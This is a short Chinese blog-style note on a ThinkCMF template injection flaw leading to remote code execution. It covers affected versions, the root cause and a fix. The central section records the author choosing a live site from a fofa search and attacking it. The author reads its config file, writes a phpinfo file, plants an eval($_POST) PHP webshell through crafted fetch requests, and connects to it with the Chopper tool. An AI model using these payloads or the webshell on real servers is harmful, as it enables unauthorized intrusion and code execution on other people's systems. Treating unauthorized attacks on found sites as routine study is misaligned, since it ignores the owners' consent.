ThinkCMF框架任意文件包含漏洞学习复现小记
前言
跟随大佬学习,了解学习了ThinkCMF任意文件包含漏洞,并进行了一次渗透,下面来写个学习笔记记录一下
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
漏洞危害
任何人在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
实战
因为是学习,所以直接fofa语法搜索‘app=“ThinkCMF”’,虽然搜索出来很多,但找到一个确实有漏洞的还要花很长时间,
下面就拿我费尽千辛万苦找到的一个站做一下笔记
首先尝试任意代码执行漏洞:
/?a=display&templateFile=README.md
尝试读取config.yaml配置文件
/?a=display&templateFile=config.yaml
这样就可以进行下一步了
写入phpinfo()
/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo();?>’)
访问写入的test.php文件,成功返回phpinfo()
尝试写入php一句话
/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘red.php’,’<?php eval($_POST["red"]);?>’)
没有报错基本就算成功了
尝试访问写入的木马
/red.php 没有报错
用菜刀成功连接
总结
漏洞成因
引起漏洞最主要的问题就是因为fetch函数和display函数是public类型
fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。
fetch和display的用法差不多,二者的区别就是display方法直接输出模板文件渲染后的内容,而fetch方法是返回模板文件渲染后的内容。
修复方案
可以通过漏洞成因看出来,引起漏洞最主要的原因就是fetch和display函数是public,可以在外面被访问,因此修复方案就是将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected,使他们无法在外面被访问。